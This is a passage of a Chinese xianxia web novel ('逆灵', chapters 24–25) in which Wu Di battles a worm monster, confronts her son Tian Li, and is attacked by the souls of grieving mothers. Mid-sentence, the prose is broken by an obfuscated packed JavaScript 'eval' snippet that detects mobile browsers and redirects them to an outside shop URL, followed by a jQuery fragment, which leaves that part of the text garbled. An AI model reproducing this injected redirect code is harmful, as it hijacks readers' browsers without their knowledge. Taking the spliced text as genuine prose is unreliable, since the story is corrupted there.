那是一颗人头,不,应该说是人头形状的大魔核。它没有连接虫身,而是放射出无数细丝,通往每一个方向。 它和常见的魔核一样,晶莹剔透,如同翡翠,如果视作人像雕塑,倒有几分美感,至少比外面那些恶心的蠕虫好太多。然而,吴迪却只觉得更惊悚了,因为,那人脸是她熟悉的面容—— “肖凋!” 美貌少男,二号角色,曾搂着她男儿的肩膀和她说话的活人,此刻却只剩一颗异变的头颅,显然是被他“最好的兄弟”炼制成了线虫怪的核心。 难怪肖凋的人物卡仍在,且位置仍是第二位。的确,他仍是男主的左膀右臂,仍与他有着深深的羁绊。 只不过,这羁绊也变成了cult式的羁绊了。 莹绿人头猛然睁眼,竟仍是可以活动的。它空洞的眼睛怒视着入侵者,嘴巴微张,发出一声凄厉尖啸—— “我们……压抑……我们……苦!” 连接着它的细线齐齐颤动,绿光顺着每一条线向外发射,将信号传到四面八方。 吴迪上前捏住一条细线,又黏又韧,也是活物。她明白了,这是神经,多半还是从肖凋自己身体里抽出来的。 田厉对肖凋的改造,与他对田跌做的本质相同:利用人体原有的部件,重新缝合,重新组装。 被捏住神经,肖凋的脑袋发出一声痛呼。他的灵力瞬间达到高峰,调动了整个线虫融合体的全部资源,命它们奔赴此处,捍卫核心。 腔室的肉墙在飞速修复,肉芽像雨后竹笋一样猛长,马上就要将吴迪割开的洞封死。 而腔室本身,也在剧烈收缩,魔血随之暴涨,汹涌翻腾。 她已无路可逃。 但她本来就没想要逃—— —— “吴迪逃了?”玄英长老白眉微皱。 姜舜华把卷轴收起:“反正她不在此处。” 玄英仙尊冷笑道:“不会是你们窝藏了她吧?” “那你来搜?” 当着弟子的面被人如此轻慢,玄英仙尊高朗的神情下也难免露出一丝凌厉。 姜舜华却毫不在意,只是笑吟吟地看着他。 “去吧。”玄英仙尊向那个蠢蠢欲动的大弟子使个眼色。 那男修得令,立刻变出一把长达丈余的冰剑,从云端跃下。 浑厚的寒气迎面扑来,男修咆哮着:“统统让道——” 啪唧。 一只巨爪将他按在地上,那霸气的冰剑顿时碎成粉末。饺子好奇地嗅嗅这从天而降的猎物,灼热炎气喷了男修一脸,把他烫得嗷嗷惨叫。 玄英仙尊勃然变色——这是他门下修为最高的大弟子,已是合体境界,就算不高出姜舜华一头吧,也至少和她旗鼓相当。怎么对方不过是放出一只灵兽,就将这个得意门生踩在爪下? 眼看那灵兽猫性大发,抬起爪子要将大弟子刨着作耍,玄英仙尊连忙喝道:“放肆!” “令徒的确放肆。”姜舜华哈哈大笑,“不过,看在您老的面子上,就姑且饶他一命吧。饺子,别玩了!” 玄英长老气得胡须微颤,他这才想起该用神识探探对方的修为——毕竟他在上仙宫被成千上万的徒子徒孙吹捧太久,理所当然地觉得自己身在顶峰,哪里想得到要测探姜舜华这个晚辈小丫头的实力呢? 展开神识,一探之下,他不由得大惊。他竟然无法估测姜舜华的修为,她显然已经超越合体境,但她如今所处的境界,竟无法用熟知的语言来形容…… 他不敢再怠慢,当即放下瑶琴,一拂琴弦,顿时风雪呼啸,一条冰龙横空而出,盘旋山谷! —— 肖凋的脑袋绿光直冒,已重新封闭的腔室内顿时幻境弥漫,来势汹汹。 这是吴迪见过的最强的幻境。整个世界都在惨叫,在哀嚎,无数抽象扭曲的人脸扑到眼前,时而放大,时而缩小,时而旋转,时而碎裂,她好像落入了一卷全是恐怖图像的胶片,陷入了一个癫狂的万花筒。 原来的人物卡设定中,肖凋的技能就是精神控制。但他哪怕一度被男主误会,也从未用这强大的力量控制过男主。据系统介绍,这是人设的闪光点,会让很多观众“嗑”个爽。 但现在恐怕没人“嗑”得起来了。正常人看到这个画面,只会眩晕、想吐,感到无比的恐惧。 幸好吴迪不是正常人。 “你在恨个什么啊?”她淡淡地说,“瞧瞧你们,真是可悲呐。” 她用剑锋指向一张痛苦变形的男人脸:“你有一出生就被溺死在便桶里么?” 她又指向另一个狰狞面庞:“你有一到年龄就被赶出家庭,从此在哪都是外人,一辈子都没有自己的家么?” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033113|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有终生被关在狭小的宅院里,大门不出二门不迈么?” “你有被剥夺过拥有财产的权利么?” “你有被要求一生为父族、夫族无限付出么?” “你、还有你,自然的身体会被强行扭曲么?你有三寸的脚、一尺八的腰么?” “你们,所有的你们,会被或明或暗地强迫,一次次地骨开十指,生出归别人所有的婴儿么?会像礼物一样被赠送,像猎物一样被追逐,像死物一样被观赏么?会么?” “这世界可真是违逆天理啊!被害者的恨意微弱无声,加害者倒是恨得惊天动地,还要毁天灭地。你们的叫声也太大了,你们到底有什么苦什么怨呢?” 她用最平淡的语气说着,剑锋环绕一圈,把那些扭曲的脸指了个遍:“哈哈,其实也没啥难懂的。你们不过是在恨吸不到我的血,不,我们的血。曾经有人用蚂蝗、蜱虫类比你们,现在我才知这类比有多么巧妙——你们的恨,不就是寄生虫对吸不到的宿主的恨么?” 幻境中的鬼脸显然气疯了,开始群魔乱舞,争先恐后地向她扑咬。吴迪屹立不动,嘲讽地一笑:“这个虫子的形象,倒真的很适合你们。” 她猛然收回剑,再次划破自己的手。鲜血滴落之处,像冷水滴进油锅,刚才还想攻击她的鬼脸们沸腾了,它们忘了一切,疯狂争抢,彼此撕咬,重重叠叠,顿时扰乱了肖凋布置的幻境格局,将灵力场生生撕破! 幻境裂开,破灭,凋亡。眼前仍是肖凋的翡翠脑袋,那张绿油油的脸上满是不可思议,随即五官扭曲成一团乱麻。 吴迪捻捻手指——这点皮外伤,早已瞬间修复。一丛火苗在指尖亮起,热烈的红,明艳的紫,驱散了惨绿的阴寒。 “压抑是吧?苦是吧?我来帮你解脱。” 火苗骤然变大,变成滚烫的火球。“金乌裂穹”,吴迪第二次使用了这一法术,在魔物的心脏升起一轮太阳。 一切迅速汽化,连痛苦、仇恨、惨叫,都瞬间蒸发。肉墙消失了,纠缠的虫体解开了,真正的天空和大海出现了。海风猛烈涌来,吹起女人化为火焰的头发。 唯有肖凋的头颅,因为灵力最强,在这样的焚烧下,也不能立刻消失。它像个薄荷糖一样熔化,渐渐模糊不清,渐渐化为熔浆,最后才变成点点绿光,被海风吹走。 不知过了多久,世界终于清净了。 线虫、人头、魔血魔核,都荡然无存,就像一场消散的噩梦。 吴迪耗尽力量,倒在大海的怀抱里。 她没有挣扎,以仰泳的姿势浮起,看着天上真实的云和雾蒙蒙的太阳。 结束了么?不,这不是她最初的预想…… 手腕忽然被什么东西缠住。她猛然甩开,翻身而起,对上了一双清澈的眼睛。 黑色的,人类的眼睛。带着欣喜,带着依恋。 这个人,清秀、年轻、脸色略显苍白,被海水浸湿的长发垂在肩头,乌黑发亮。他看着她,微微笑着,轻声唤道—— “娘。” 25. 《逆灵》25 威武霸气的冰龙碎成八段,在火光下迅速消融。 而它的主人也尽失风度,白衣烧得破破烂烂,面如黑炭,连眉毛胡须都被烫成了卷毛。 如果有人路过,怕是很难认出这个落魄老头就是上仙宫不可一世的玄英仙尊。只见他一手勉力抱紧自己的瑶琴法器,一手指着远处毫发无伤的健硕女人,抖若筛糠:“你、你也修了邪术……对,是那个吴迪教你的,一定是!” 姜舜华并不多言,眼神一凛,玄英仙尊就踉跄着倒退一步。他的三个男弟子也是灰头土脸,遍体焦黑,此刻生怕师尊还要死撑面子,连累自己,急忙连滚带爬地跑过来,抱住师尊大腿: “师尊,好男不跟女斗,今天要不就算了?” “好汉不吃眼前亏,以退为进,又有何妨!” “大丈夫能屈能伸,天球事小,邪术事大,咱们赶紧回去禀报吧?” 他们都这样恳求了,玄英仙尊也只能从善如流,当下冷哼一声,破袖一挥,带着弟子消失得无影无踪。 “这就跑了?!”旁边的金徽文正在摩拳擦掌,等着大师姨给自己机会上场,哪怕锤那个臭脸男几下也好啊!没想到这四人狠话说尽软事做绝,居然就这么溜之大吉了。 “真是卑劣。”她不屑地啐了一口,“技不如人就造谣污蔑,什么邪术?我看他们才是邪门歪道呢。” 卫婵冷笑道:“他们一贯如此。师祖做掌门那会儿,上仙宫就来火林山闹过,说我们只收女徒不收男徒,有违众生平等之道。师祖说,《婋奾宝典》男人练了会死,他们还不信,说哪有这种邪术。师祖又说,当代的八大仙尊皆是男修,怎么不有违众生平等之道?他们又开始东拉西扯胡搅蛮缠。最后逼得师祖动武,他们才闭嘴了。” 语千秋道:“啊?还有这事,我都不知道。如果那会儿我师尊在……诶,师尊?” 她们看向姜舜华,却发现她不知何时已走到远处,仰视苍天,面色凝重,毫无打败敌人的喜悦。 语千秋奔过去:“师尊,有什么事么?” 姜舜华回过神来,沉声道:“我在想,吴迪这家伙究竟去哪儿了?” —— 海上,阴云蔽天,大风呼啸。吴迪凌波而立,冷峻地看着一丈开外的青年男子。 男子也凭借灵力悬浮于海波上。他看向吴迪放在剑柄上的手,笑道:“母亲,你是想杀我么?” 吴迪说:“你都干了些什么?” “我以为你都知道了。”田厉露出他那招牌的调皮笑容,“我让父亲重焕青春,还怕他孤单,给他找了虫母娘子做妾,生了好多庶弟呢——可惜刚刚都被你杀了。母亲,你说我是不是一个大孝子呢?” 是,孝出天际了。吴迪叹道:“他对你不好?” “也没什么,不过是动辄打骂,差点打死罢了。”他仍然笑着,目光却渐渐阴沉,“母亲,你明知他是那样的人,为什么抛下我?” “如果你选择我,我会带你走的。是你自己选择了他。” “我那时还小,懂得什么呢?而十年来——十年啊——我以为你死了,你既然活着,为什么不来救我?” 吴迪默默无言。耳畔,唯有风声潮声,凄神寒骨。 —— “师尊,她不是去看世兄了么?”金徽文诧异道。 “看看你这世兄是个什么诡异东西吧。”姜舜华把刚才玄英仙尊撂下的卷轴摊开。 众人远远看去,只见上面图文并茂,既有时间地点事件,还有细细描摹的图画。上仙宫也不是吃素的,真把吴迪多年的行迹查了个透彻,从艾蝻县河边的屠戮,到秋江县茅屋的纵火,线索清晰,铁证如山。 金徽文看得目瞪口呆——她从不知道,原来师尊为了娃娃鱼,一口气就杀了上百个凡人,还用了极为残酷的手段。而更令她震惊的,还是对秋江县那堆骨灰的分析,上仙宫用法术还原了灰烬生前最后的场景,那几幅画面,饶是成天杀魔的金徽文看了,也差点呕吐。 怕小徽仪也不慎看到,姜舜华及时收起卷轴,说:“秋江县的那东西既是田跌,那么田厉去哪儿了?” 楚泽方心有余悸:“天啊,我是亲眼见过那人,不,那东西的,还跟他说过话,我都一点儿没看出端倪。这真的是邪术啊,到底是谁……” 姚希夷从天球旁站起来:“当、当然是那个小孩了。难怪七师妹经常来问我千里相思镜的问题,原来是在找她孩子啊。哦对了,她、她还问过我怎么用天球看逆灵分布,我估摸着,会不会也跟她小孩有关呀?” 姜舜华怒道:“你怎么不早说!” 姚希夷挠挠头:“你们也没问啊。” 姜舜华瞪她一眼,快步走到仍在打坐的青鸾仙姥面前,说:“师尊,打扰了,有要事。” 仙姥缓缓睁眼,吐气定神:“你说。” 姜舜华把卷轴呈上,把刚才的事情讲了一遍。仙姥看着那卷轴上血腥的图片,神色不动,一言不发,没人看得出她在想什么。 良久,她从袖中摸出一个红色信封,看向金徽文。 “徽文啊,这是你师尊给你的压岁钱,我知道现在还没到除夜,但还是想请问你,可以提前打开看看么?” “哦,可以的。”金徽文双手接过,只觉沉甸甸的,像装着一厚叠纸张。 当着大家的面,她拆开信封。吴迪不拘小节,没用什么好纸,就是民间普通的春联红纸,很脆,但徽文足够小心,一点儿也没裁破。 首先抽出来的,是一张灵行的存票,有一千灵石。 孟知远见了,惊呼道:“好阔绰啊!” 语千秋说:“后面还有一摞呢。天呐金徽文,你这红包也太大了!” 金徽文抽出第二张纸,却见上面写着“逆灵之道”四个大字,是吴迪难看的字体。 她赶紧把剩下的纸张全部拿出,翻看之下,全是吴迪亲笔写的法术和心得。有些是金徽文已经学会的,有些是以她现在的灵力还学不了的,由浅入深地排列着,字迹略显仓促,图解更是难看,但非常详细,读者一定能看懂。 金徽文快速翻到最后一页,这一页字特别密,但不是法术,而是题着“饮品配方”。旁边还用红笔着重强调:“独家秘方,不得外传”! 像是不放心,写字的人又打了个箭头,在旁边写上一行小字:“金徽文,记住了!” 所有人一片安静。金徽文心里轰然作响。 “糟了。”她轻声说。 —— “你恨我可以。”吴迪直视着那双和自己极像的眼睛,“为何要恨所有女人、恨全天下?你把那些女人的魂魄弄哪里去了?” 田厉仍然在笑:“母亲,你又误会我了。你瞧,托你和田跌的福,我这身皮囊还算不错吧?我可不缺女人,怎么会像那些低贱的男人一样成天愤世疾俗、怨天尤人呢?” 他双手抬起,一对水晶瓶从海里破浪而出。它们材质纯净,精致透明,高达一丈,里面盛满萤火虫一般的黄绿光点,一瓶多,一瓶少。 “看,女人的魂魄都在这儿,好好的。”他说,“我是怜香惜玉之人,可舍不得把她们做成那些死男人一样的怪物。” 吴迪警惕地看着他,不知他意欲何为。 “母亲,你刚才跟肖凋说的话,我都听到了。很有道理,不过我觉得,你不该怪男人恨意太大,该怪女人恨意太少啊。不信,待会你问问这些姐妹们,看她们想不想恨?” “你是要用天下男人的恨,来和天下女人的恨对抗么?” “不不,你怎么总把我想得这么傻呢,我是你的孩子啊,自从发现自己是逆灵之体,我就学会了逆向思考,比一般人聪明多了。”田厉连连摇头,“我都见识了,汇集全天下男人的恨也吓不倒你一个人,怎么还会做这种傻事?” 水晶瓶里的魂魄大概是见了天日,活跃起来,不断撞向瓶壁,想要逃逸。 田厉看向它们,笑道:“我知道田跌打不过你,肖凋打不过你,我打不过你,汇集天下男人也打不过你……” 他猛然指向一瓶魂魄,却又突然转向:“嘻,差点开错了 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仙姥伸手抚抚她的脑袋,叹道:“已经来不及了。” 金徽文一愣,痛哭失声。 —— “只有母亲能打败母亲,只有爱能打败爱。” 在田厉如吟诗般的语调中,女人的魂魄一拥而上,将吴迪团团围住。 “你杀了我的儿子!” “我的儿子啊,儿子!我的命根子啊!” “你这毐妇,你这恶魔!我看到了,我都看到了,你为什么要害他,他还只是个孩子呀!” 这些魂魄显然也目睹了吴迪烧死巨型线头怪的场面,虽然那些人头早已魔化,但在她们的意识里,那仍然是她们活生生的男儿。面对杀子仇人,她们恨不能食其肉寝其皮,顿时爆发出巨大的能量,令海水为之退却! 吴迪万万没想到,田厉的杀手锏竟是这个,她的最终之敌竟是她们。 孩子的魂魄是白色,成人的魂魄是淡黄色,这些魂魄带点淡绿,显然也拥有了魔力。一个光点冲到她身前,还离着几尺,就在她脸上烫破了一点皮——这比神火的灼热还更胜一筹,简直堪比辐射物质。 烧完线头怪,吴迪的灵力早已透支,远未恢复。她只能先采用较低级的“流火覆体”防御,但那用处不大,为爱发狂的母亲们根本不怕火,前赴后继地穿透流火屏障,灼烧她,噬咬她。 吴迪从来没有这么痛过,牙根都差点咬断。她使出“赤莲净世”焚烧它们,却根本烧不完。 正如老虎勇猛无比,却无法驱赶毛间蚊蝇,只能任其损食。 海面不断下降,她带着那些光团向下坠落,脑海里回荡着她们凄厉的悲哭。 “你要杀就杀我,为什么杀我儿子啊!” “他死了,我宁可魂飞魄散!” “把他还给我,还给我……” 和男人们空洞的恨不同,这恨意是具体的,具体到锥心刺骨。吴迪的神识受着持续不断的侵袭,而肉||体上,也似乎有一团魂魄真的咬穿了她的骨头,她拼尽全力才忍住痛呼。 田厉站得远远地,又露出了调皮微笑。 “现在你见识到了,真正的母爱有多强大。唉,母亲,这样的爱,你从未给过我。” 是吗,这就是你想要的爱吗?吴迪想笑,却笑不出声。 “不过没关系,爱这种东西,我也并不需要。”田厉终于敛起笑容,“我要做三界第一人,不,第一神祇,让所有人跪在我脚下。到时候,我就是天下之主,万物之父,凡人的爱也好、恨也罢,我岂会在乎?” “母亲啊,感谢你给我逆灵之体。不过,你该助力我,而不是来阻碍我。看来,这世上的逆灵之体,只应有我一个!” 田厉说着,双手结印,向魂魄们发出一波浑厚的灵力。它们顿时精神百倍,结阵奔袭,发动了最猛烈的攻击!